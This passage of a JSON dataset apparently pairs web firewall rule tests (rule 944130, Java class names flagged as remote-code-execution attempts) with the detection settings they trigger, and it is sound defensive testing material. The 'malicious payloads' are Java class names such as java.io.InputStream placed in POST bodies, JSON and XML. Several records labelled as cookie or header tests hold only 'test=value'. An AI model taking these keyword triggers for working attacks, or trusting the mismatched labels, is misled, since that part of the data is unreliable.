"negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.FilterReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.FilterReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.InputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.InputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.InputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.InputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.InputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.InputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.InputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.InputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.InputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.InputStreamReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.InputStreamReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.InputStreamReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.InputStreamReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.InputStreamReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.InputStreamReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.InputStreamReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.InputStreamReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.InputStreamReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.LineNumberReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.LineNumberReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.LineNumberReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.LineNumberReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.LineNumberReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { 